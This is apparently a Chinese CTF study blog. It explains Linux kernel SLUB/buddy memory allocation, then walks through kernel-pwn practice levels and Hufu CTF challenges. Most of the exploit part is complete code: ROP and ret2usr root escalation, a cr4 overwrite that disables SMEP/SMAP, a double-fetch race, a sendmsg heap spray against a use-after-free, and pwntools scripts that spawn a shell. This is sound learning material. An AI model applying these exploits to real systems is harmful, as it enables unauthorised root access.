0%

kernelpwn slub/slab

总结一波内核分配内存(堆)的策略,不然做内核题总是半懂不懂的。

内核管理内存页面使用了两种算法,伙伴算法和slub算法

伙伴算法

伙伴算法是以页4k为单位管理内存的,也就是申请和释放的最小单位是4k,但是程序多数情况下不会申请这么大的内存,而是比较小的内存,就像用户态的堆一样,所以还需要一个内存管理算法支持这种功能,也就是slub算法

slub

像libc申请释放堆块一样,slub也把堆进行进行了分组管理,每一组的大小是2^3,2^4….2^11字节,堆的大小是以8字节递增的,也就是(8,2048),当超过2048的时候就会使用伙伴系统提供的接口直接申请一个完整的页面,还有两个特殊的组96字节和192字节,这些组映射到kmalloc_caches[12]数组中的一个元素

img

这是用于slub管理内存的数据结构,可以看见每个kmalloc_caches元素又各种对应一个kmem_cache结构体,这个结构体中又能指向kmem_cache_cpukmem_cache_node两个数组,这两个结构体才是slub分配算法的关键

有一个博客比喻的很好,kmem_cache_node相当于仓库,kmem_cache_cpu是真正用于分配内存的地方,每个kmalloc_caches元素都有自己的kmem_cache_cpukmem_cache_node

kmem_cache_cpu和keme_cache_node

slub会根据这个组的大小向伙伴算法申请整数倍4k的内存给kmem_cache_cpu,申请到这块内存叫做slab,其中kmem_cache_cpu.page就指向了slab的首地址,slub会根据这个组的大小把slab切割成很多个小的object,每个object的大小就是这个组的大小,当object还未被申请时候会有八个字节储存下一个object的地址,这样其实这个slab就被切割成大小相等的单向链表了,然后kmem_cache_cpu.freelist指向这个slab的第一个空闲object

img

当申请这个组的内存的时候如果这个组的kmem_cache_cpu没有一个slab的时候,slub就会申请一个slab并执行上述操作,然后把第一个obj标记为占用并返回给用户,下图体现了这个操作,申请了一个object以后kmem_cache_cpu就会根据这个object的next指向下一个空闲object。

image-20220407214835446

至于为什么说kmem_cache_cpu为什么是内存申请的主要地方现在就很明朗了。

可是kmem_cache_cpu指向的slab总有用完的时候,当这个slab用完怎么办,这时候就得用上kmem_cache_node这个结构体仓库了,kmem_cache_node有两个指针partialfull指向两个链表,其中partial指向有空闲obj的slab链表,full指向没有空闲的slab链表,如下图

image-20220407220144459

当keme_cache_cpu指向的slab用完后就会放到kmem_cache_node.full上面,然后检查keme_cache_partial链表有没有有空闲的slab,如果有的话就会把第一个空闲的obj返回给用户,然后把这个slab给kmem_cache_cpu。

如果kmem_cache_node.full上面的一个slab的一个obj被释放后这个slab就会移向partial。

总结

这是slub算法的主要策略,不涉及源码解读(因为看不懂),先学着看,以后如果有必要会看看。

kernelpwn刷题记录

0x1 level1

0x1.1 boot.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64 2>/dev/null

noksalr,nosmep,nosmap

0x1.2 init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

echo "IF8gIF9fICAgICAgICAgICAgICAgXyAgICAgICAgICBfICAgICAKfCB8LyAvX19fICBfX18gXyBfXyB8IHwgICAgX18gX3wgfF9fICAKfCAnIC8vIF8gXC8gXyBcICdfIFx8IHwgICAvIF9gIHwgJ18gXCAKfCAuIFwgIF9fLyAgX18vIHwgfCB8IHxfX3wgKF98IHwgfF8pIHwKfF98XF9cX19ffFxfX198X3wgfF98X19fX19cX18sX3xfLl9fLyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK" | base64 -d

mount -t devtmpfs none /dev
mount -t proc proc /proc

insmod /home/pwn/baby.ko
chmod 644 /dev/baby
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid cttyhack setuidgid 1000 sh

umount /proc

poweroff -f

没有对proc/kallsyms保护

0x1.3 baby.ko

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_0(__int64 a1, int a2)
{
__int64 v2; // rbp
__int64 v3; // rdx
_QWORD v5[17]; // [rsp-88h] [rbp-88h] BYREF

_fentry__();
if ( a2 != 0x6001 )
return 0LL;
v5[16] = v2;
return (int)copy_from_user(v5, v3, 256LL);
}

有栈溢出,直接ret2usr,使用kallsyms查看函数地址的时候发现地址全为0,百度后发现是内核的一种保护措施,只有root用户能够直接查看kallsyms,所以本地调试的时候把用户权限改大就好

提取vmlinux的命令

1
2
/usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux
objdump -d vmlinux > gadget

0x1.4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

size_t prepare_kernel_cred=0xffffffff810b9d80;
size_t commit_creds=0xffffffff810b99d0;
void usr_shell(){
if(getuid()==0){
printf("[*]----getshell pk");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
void up_power(){
(*((void (*)(char *))commit_creds))((*((char* (*)(int))prepare_kernel_cred))(0));
}

int main(){
save_status();
size_t swapgs_pop_rbp_ret=0xffffffff81070834;
size_t iretq=0xffffffff81036a5b;
size_t rop[32]={0};
rop[17]=(size_t)up_power;
rop[18]=swapgs_pop_rbp_ret;
rop[20]=iretq;
rop[21]=(size_t)usr_shell;
rop[22] = user_cs;
rop[23] = user_rflags;
rop[24] = user_sp;
rop[25] = user_ss;
int fd=open("/dev/baby",0);
if(fd<0){
printf("[-] bad open\n");
}
ioctl(fd,0x6001,rop);
}

提权成功

1
2
3
4
5
6
/ $ id
uid=1000(pwn) gid=1000 groups=1000
/ $ ./exp
[*]status has ben saved.
/ # id
uid=0(root) gid=0

0x1.5 问题

使用add-symbol-file baby.ko 0x0并不能断成功ko文件的函数,此时我们可以使用lsmod得知ko文件的首地址,然后利用具体地址断点,而不是通过函数名

0x2 level2

0x2.1 boot.sh

难度升级,开起了smep,smap和kaslr,为了方便调试先关闭kaslr.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64,smep,smap 2>/dev/null

0x2.2 ko文件保护

1
2
3
4
5
6
7
.ko
[*] '/home/rootzhang/kernelstudy/pwnstudy/level2/baby.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

比原来多了canary保护

0x2.3 baby.ko

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall sub_0(__int64 a1, int a2)
{
__int64 v2; // rbp
__int64 v3; // rdx
_QWORD v5[18]; // [rsp-90h] [rbp-90h] BYREF

_fentry__();
v5[17] = v2;
v5[16] = __readgsqword(0x28u);
if ( a2 == 24577 )
return (int)copy_from_user(v5, v3, 512LL);
if ( a2 == 24578 )
return (int)copy_to_user(v3, v5, 512LL);
return 0LL;
}

存在泄露和溢出,具体思路就是先泄露canary和内核地址,然后再溢出完成提权,提权有两种思路,一个方式是改变smep和smap的标志位然后ret2usr,一种方式是直接rop

0x2.4 exp

我采用的是更改cr4完成commits(prepare_kernel_cred(0))完成提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
size_t commit_creds_offset=0xb99d0;
size_t prepare_kernel_cred_offset=0xb9d80;
size_t vmlinux_base_addr=0;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
void usr_shell(){
if(getuid()==0){
printf("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
void up_power(){
size_t commit_creds=vmlinux_base_addr+commit_creds_offset;
size_t prepare_kernel_cred=vmlinux_base_addr+prepare_kernel_cred_offset;
(*((void (*)(char *))commit_creds))((*((char* (*)(int))prepare_kernel_cred))(0));
}



size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
int main(){
save_status();
int fd=open("/dev/baby",0);
if(fd<0){
printf("[*] open fail");
}
size_t buf[0x200]={0};
size_t rop[0x200]={0};
ioctl(fd,0x6002,buf);
size_t canary=buf[16];
vmlinux_base_addr=buf[9]-0x29b078;
size_t swapgs_pop_rbp_ret=vmlinux_base_addr+0xffffffff81070834-vmlinux_nokaslr_addr;
size_t itretq=vmlinux_base_addr+0xffffffff81036a5b-vmlinux_nokaslr_addr;
size_t mov_cr4_pop_rbp_ret=vmlinux_base_addr+0xffffffff81020300-vmlinux_nokaslr_addr;
size_t pop_rdi_rbx=vmlinux_base_addr+0xffffffff81087c99-vmlinux_nokaslr_addr;
int i=16;
rop[i++]=canary;
i++;
rop[i++]=pop_rdi_rbx;
rop[i++]=0x6f0;
rop[i++]=0x6f0;
rop[i++]=mov_cr4_pop_rbp_ret;
rop[i++]=0;
rop[i++]=(size_t)up_power;
rop[i++]=swapgs_pop_rbp_ret;
rop[i++]=0;
rop[i++]=itretq;
rop[i++]=(size_t)usr_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
ioctl(fd,0x6001,rop);

0x3 level3

0x3.1 start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1 \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

其中-smp 2,cores=2,threads=1的作用如下

image-20220406200817128

也就是说这个内核可以开至多两个线程了。

0x3.2 init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

0x3.3 ko文件

一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall baby_ioctl(__int64 a1, int a2)
{
__int64 v2; // rdx
int i; // [rsp-5Ch] [rbp-5Ch]
__int64 v5; // [rsp-58h] [rbp-58h]

_fentry__();
v5 = v2;
if ( a2 == 26214 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
return 0LL;
}
else if ( a2 == 4919
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
&& !_chk_range_not_ok(
*(_QWORD *)v5,
*(int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned int)&current_task) + 4952))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
}
else
{
return 14LL;
}
}

分析:允许传入一个结构体的指针,结构体长这个样子

1
2
3
4
struct message{
char *buf;
int len;
}m;

他会检查buf+len的地址又没有超出用户态的最高地址,如果超出了就会退出,如果没有超出就会拿buf的字符一个个和flag比对,如果全部比对成功就会返回flag值。

漏洞利用:这个内核允许开两个线程,所以可以利用这一点,主线程传入正常的m然后开启一个支线程一直修改m的buf为flag_addr,这样支线程就有几率当主线程刚检查完m后支线程修改m.buf=flag_addr,这样就能比对成功输出flag值了。

0x3.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include<string.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include<pthread.h>
struct message{
char *buf;
int len;
}m;
void change_flag_addr(size_t flag_addr){
while(1){
m.buf=flag_addr;
}
}
int main(){
int fd=open("dev/baby",0);
ioctl(fd,0x6666,0);
system("dmesg |grep 'Your flag is at ' > ./flag_addr.txt");
int temp_fd=open("./flag_addr.txt",0);
char buf[100]={0};
int len=strlen("[ 2.817016] Your flag is at ");
read(temp_fd,buf,100);
close(temp_fd);
size_t flag_addr=strtoull(buf+len,buf+len+16,16);
printf("flag_addr:%d\n",flag_addr);
m.buf=buf;
int ret;
for(int i=0;i<100;i++){
m.len=i;
ret=ioctl(fd,0x1337,&m);
if(ret==22){
printf("flag_len:%d\n",i);
break;
}
}
pthread_t tid;
pthread_create(&tid,NULL,change_flag_addr,flag_addr);
for(int i=0;i<0x100000;i++){
m.buf=buf;
ret=ioctl(fd,0x1337,&m);
if(ret==0){
printf("susses\n");
break;
}
}
close(fd);
system("dmesg |grep 'Looks like the flag is' > ./flag.txt");
temp_fd=open("./flag.txt",0);
read(temp_fd,buf,100);
write(STDOUT_FILENO,buf,100);
close(temp_fd);
return 0;
}

0x3.5 收获

1.第一次做多线程的内核题,主要利用姿势就是通过主线程完成检查后支线程修改数据。

2.strtoull函数,第一个参数是要转换字符串的首地址,第二个是要转换的字符串的最后一个地址的后一个地址,第三个参数是进制,返回一个8字节数。

0x4 level4

0x4.1 start.sh

保护全开,本地调试的时候先关闭kaslr.

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64,smep,smap 2>/dev/null

0x4.2 init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh

echo "IF8gIF9fICAgICAgICAgICAgICAgXyAgICAgICAgICBfICAgICAKfCB8LyAvX19fICBfX18gXyBfXyB8IHwgICAgX18gX3wgfF9fICAKfCAnIC8vIF8gXC8gXyBcICdfIFx8IHwgICAvIF9gIHwgJ18gXCAKfCAuIFwgIF9fLyAgX18vIHwgfCB8IHxfX3wgKF98IHwgfF8pIHwKfF98XF9cX19ffFxfX198X3wgfF98X19fX19cX18sX3xfLl9fLyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK" | base64 -d

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/baby.ko
chmod 644 /dev/baby
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn
setsid cttyhack setuidgid 1000 sh
umount /proc
poweroff -f

0x4.3 ko文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
__int64 __fastcall sub_0(__int64 a1, int a2)
{
__int64 v2; // rdx
__int64 v3; // r13
__int64 v4; // rbx
__int64 v6; // rax
__int64 v7; // r12
__int64 v8; // rax
__int64 v9; // rdx
__int64 v10; // rax
__int64 v11; // rsi
__int64 v12; // rax

_fentry__();
v3 = v2;
v4 = kmem_cache_alloc_trace(kmalloc_caches[4], 6291648LL, 16LL);
copy_from_user(v4, v3, 16LL);
switch ( a2 )
{
case 24584:
v12 = *(int *)(v4 + 8);
if ( (unsigned int)v12 <= 0x1F && qword_6C0[v12] )
((void (*)(void))kfree)();
break;
case 24585:
v10 = *(int *)(v4 + 8);
if ( (unsigned int)v10 <= 0x1F )
{
v11 = qword_6C0[v10];
if ( v11 )
(*(void (__fastcall **)(_QWORD, __int64, __int64))(v11 + 64))(*(_QWORD *)(v11 + 56), v11, 72LL);
}
break;
case 24583:
v6 = 0LL;
while ( 1 )
{
v7 = (int)v6;
if ( !qword_6C0[v6] )
break;
if ( ++v6 == 32 )
goto LABEL_4;
}
v8 = kmem_cache_alloc_trace(kmalloc_caches[1], 6291648LL, 72LL);
v9 = *(_QWORD *)v4;
qword_6C0[v7] = v8;
*(_QWORD *)(v8 + 64) = &copy_to_user;
*(_QWORD *)(v8 + 56) = v9;
break;
}
LABEL_4:
kfree(v4);
return 0LL;
}

发现会申请72字节,根据上一篇slub的分析可知,申请72字节的话其实会分配给你96字节的,也就是0x60,申请完在这个堆里填入一个函数地址然后后面会调用这个地址,所以如果能覆盖这个地址就能拿到程序流了,后面free这个堆的时候没有清除指针,存在uaf,所以可以利用堆喷申请内核堆,申请0x10000肯定能申请到刚才free的堆,然后把那个堆的函数指针覆盖就可以了,这里采用sendmsg进行堆喷。

0x4.4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>

size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t vmlinux_addr=0;
size_t commit_creds=0;
size_t prepare_kernel_cred=0;
size_t really_addr(size_t addr){
return vmlinux_addr+addr-vmlinux_nokaslr_addr;
}

void up_power(){
(*((void (*)(char *))commit_creds))((*((char* (*)(int))prepare_kernel_cred))(0));
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
struct input{
size_t *buf;
int idx;
}input;

void add(int fd){
ioctl(fd,0x6007,&input);
}

void show(int fd){
ioctl(fd,0x6009,&input);
}
void del(int fd){
ioctl(fd,0x6008,&input);
}
void main(){
save_status();
int fd=open("dev/baby",0);
input.buf=(size_t *)malloc(8*12);
input.idx=0;
add(fd);
show(fd);
del(fd);
vmlinux_addr=input.buf[8]-0x4d4680;
size_t mov_cr4_pop_ret=really_addr(0xffffffff81070790);
commit_creds=really_addr(0xffffffff810b99d0);
prepare_kernel_cred=really_addr(0xffffffff810b9d80);

char buf[96];
struct msghdr msg={0};
struct sockaddr_in addr={0};
int sockfd=socket(AF_INET,SOCK_DGRAM,0);
((size_t *)buf)[7]=0x6f0;
((size_t *)buf)[8]=mov_cr4_pop_ret;
addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
addr.sin_family=AF_INET;
addr.sin_port=htons(6666);
msg.msg_control=buf;
msg.msg_controllen=96;
msg.msg_name=(caddr_t)&addr;
msg.msg_namelen=sizeof(addr);
for(int i=0;i<0x10000;i++){
sendmsg(sockfd,&msg,0);
}
printf("cr4:%p/n",mov_cr4_pop_ret);
show(fd);
((size_t *)buf)[8]=(size_t)up_power;
input.idx=1;
add(fd);
del(fd);
for(int i=0;i<0x10000;i++){
sendmsg(sockfd,&msg,0);
}
show(fd);
if(getuid()==0){
puts("[*]--getshell ok");
system("/bin/sh");
}
}

0x4.5 sendmsg堆喷

堆喷的简单原理就是在用户态申请n多个内核堆然后然后填入数据,如果ko文件存在uaf的话那就可以利用堆喷拿到被free掉的堆修改其中的内容,进而影响程序执行。

sendmsg首先涉及了两个结构体struct msghdrstruct sockaddr_in 首先是sockaddr_in记录了数据包的目的地址和端口号,然后把这个结构体的地址赋值给msghdr.msg_name,把这个结构体的大小赋值给msghdr.msg_namelen,然后把要发送的数据包的地址给msg.msg_control,把数据包的长度传递给msg.msg_controllen,最后调用sendmsg()函数,sendmsg函数的大概过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__aligned(sizeof(__kernel_size_t)); // 创建44字节的栈缓冲区ctl,20是ipv6_pktinfo结构的大小
unsigned char *ctl_buf = ctl; // ctl_buf指向栈缓冲区ctl
int ctl_len;
ssize_t err;

msg_sys->msg_name = &address;

if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); // 用户数据拷贝到msg_sys,只拷贝msghdr消息头部
if (err < 0)
return err;

err = -ENOBUFS;

if (msg_sys->msg_controllen > INT_MAX) //如果msg_sys小于INT_MAX,就把ctl_len赋值为用户提供的msg_controllen
goto out_freeiov;
flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
ctl_len = msg_sys->msg_controllen;
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
err =
cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
sizeof(ctl));
if (err)
goto out_freeiov;
ctl_buf = msg_sys->msg_control;
ctl_len = msg_sys->msg_controllen;
} else if (ctl_len) {
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
if (ctl_len > sizeof(ctl)) { //注意用户数据的size必须大于44字节
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);//sock_kmalloc最后会调用kmalloc 分配 ctl_len 大小的堆块
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/* 注意,msg_sys->msg_control是用户可控的用户缓冲区;ctl_len是用户可控的长度。 用户数据拷贝到ctl_buf内核空间。
*/
if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
msg_sys->msg_flags = flags;
...

可见如果msg.msg_controllen>44就会申请一个msg_controllen大小的堆块,然后把msg_control指向的数据赋值给刚申请的堆块,多次使用sendmsg就能达到堆喷的目的。

虎符ctf

gogogo

主要难点在逆向,代码有一千多行,ida7.7能大致反编译出go的伪代码,但是伪代码中还是有很多意义不明的代码出现,再加上go的函数调用的参数放在父函数的栈上,导致ida对参数的解析比较密,不能很好的看出传入的参数是啥,只能动态调试,最后逆出了最后退出的时候会向栈上写数据且有栈溢出

然后中间还得玩个很复杂的游戏,主要难点就这两个了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level='debug'
sh=process("./pwn")
'''
0x000000000045c849: syscall; ret;
0x0000000000405b78: pop rax; ret;
0x00000000004742da: pop rdi; xor eax, eax; mov rbp, qword ptr [rsp + 0xb0]; add rsp, 0xb8; ret;
0x000000000045544a: pop rsi; add byte ptr [rax], al; mov byte ptr [rax], 1; mov rbp, qword ptr [rsp + 0x10]; add rsp, 0x18; ret;
0x000000000048546c: pop rdx; ret;
'''
bss=0x538000+0x20
syscall_ret=0x000000000045c849
pop_rax_ret=0x0000000000405b78
rdi=0x00000000004742da
rsi=0x000000000045544a
rdx=0x000000000048546c
def exit(content):
sh.recvuntil("(4) EXIT")
sh.sendline(str(4))
sh.recvuntil("ARE YOU SURE?")
sleep(0.2)
sh.sendline(content)
#gdb.attach(sh,'b *0x48EEA0')
def game():
sh.recvuntil("YOU HAVE SEVEN CHANCES TO GUESS\n")
guess='3 2 1 0'
while(1):
sh.sendline(guess)
ans=sh.recvline()
if 'WIN' in ans:
break
s=str(input('guess:'))
guess=s[0]+' '+s[1]+' '+s[2]+' '+s[3]
print guess

def exp():
sh.recvuntil("PLEASE INPUT A NUMBER:")
sh.sendline(str(1717986918))
sh.recvuntil("PLEASE INPUT A NUMBER:")
sh.sendline(str(305419896))
sh.recvuntil('OKAY YOU CAN LEAVE YOUR NAME AND BYE~')
sh.sendline('/bin/sh\x00')
game()
sh.recvuntil("AGAIN OR EXIT?")
sh.sendline("e")
payload='y'+'\x00'*(0x460-1)
payload+=p64(pop_rax_ret)+p64(bss)
payload+=p64(rsi)+p64(0)+'c'*0x18
payload+=p64(rdx)+p64(0)
payload+=p64(rdi)+p64(0xc000108000)+'d'*0xb8
payload+=p64(pop_rax_ret)+p64(59)+p64(syscall_ret)
exit(payload)
sh.recvuntil('OKAY YOU CAN LEAVE YOUR NAME AND BYE~')
sh.sendline('/bin/sh\x00')
sh.interactive()
exp()

babygame

栈溢出加格式化字符串,先通过溢出得到一个栈地址和canary,然后通过格式化字符串得到一个libc地址,爆破改返回地址为fread,不能直接改到main函数,不然标准输入输出在没有关闭的情况下会再打开一次,然后printf会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level="debug"
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')

'''
0x0000000000047400: pop rax; ret;
0x0000000000023b72: pop rdi; ret;
0x000000000002604f: pop rsi; ret;
0x0000000000119241: pop rdx; pop r12; ret;
0x00000000000630d9: syscall; ret;
'''



def game():
fd=open("flag.txt","r+")
for i in range(100):
content="round {0}: \n".format(i+1)
sh.recvuntil(content)
sh.sendline(fd.read(1))
fd.close()




#gdb.attach(sh," b *(0x7ffff7fc6000+0x1565)")
def exp():
payload="a"*0x108+'b'
sh.sendafter("Please input your name:\n",payload)
sh.recvuntil('ab')
canary=u64(sh.recv(7).ljust(8,'\x00'))<<8
stack_addr=u64(sh.recv(6).ljust(8,'\x00'))
print hex(stack_addr)
game()
sh.recvuntil("Good luck to you.")
fmt='%3$p'+'%'+str(0x74Aa-0xe)+'c%8$hn'+p64(stack_addr-0x210)
# print len('%3$p'+'%'+str(0x7465-0xe)+'c%8$hn')
sh.send(fmt)
sleep(1)
s=sh.recvline()
m=sh.recv()
libc_addr=int(m[0:14],16)-0x10e002
pop_rax=libc_addr+0x0000000000047400
pop_rdi=libc_addr+0x0000000000023b72
pop_rsi=libc_addr+0x000000000002604f
pop_rdx_r12=libc_addr+0x0000000000119241
syscall=libc_addr+0x00000000000630d9
sh.recvuntil('Please input your name:\n')



payload='/bin/sh\x00'+'a'*0x100+p64(canary)+'b'*0x18
payload+=p64(pop_rax)+p64(59)+p64(pop_rdi)+p64(stack_addr-0x208)+p64(pop_rsi)
payload+=p64(0)+p64(pop_rdx_r12)+2*p64(0)+p64(syscall)
sh.send(payload)
sh.recvuntil('2. paper')
sh.sendline('12345')

sh.interactive()

exp()

mva

第一次做vm题,这个应该算是比较简单的vm题,程序虚拟了几个指令集,包括push,pop,add sub mov xor add or等,然后还虚拟了六个寄存器 ,每次读取四个字节,第一个字节是指令码,比如add是\x02,第二个字节是目的寄存器,第三第四个寄存器是操作数比如\x02\x00\x01\x02就是把第二个寄存器的数和第0个寄存器的数相加然后赋值给第一个寄存器。

漏洞就出在对边界的检查不规范导致了内存写和内存读。

正常有六个寄存器,选项1是对单个寄存器进行赋值,选项2,3,4,5,6,7是对寄存器进行计算,选项9是
入栈操作,这个可以利用v9完成返回地址写,选项a是出栈操作,可以利用v9进行返回地址的读。选项d可以进行一个
小范围的读,选项e可以进行小范围的读,选项e可以进行小范围的写,通过这个改写v9。

通过上面的几个漏洞的组合就能getshell了

1
2
3
4
5
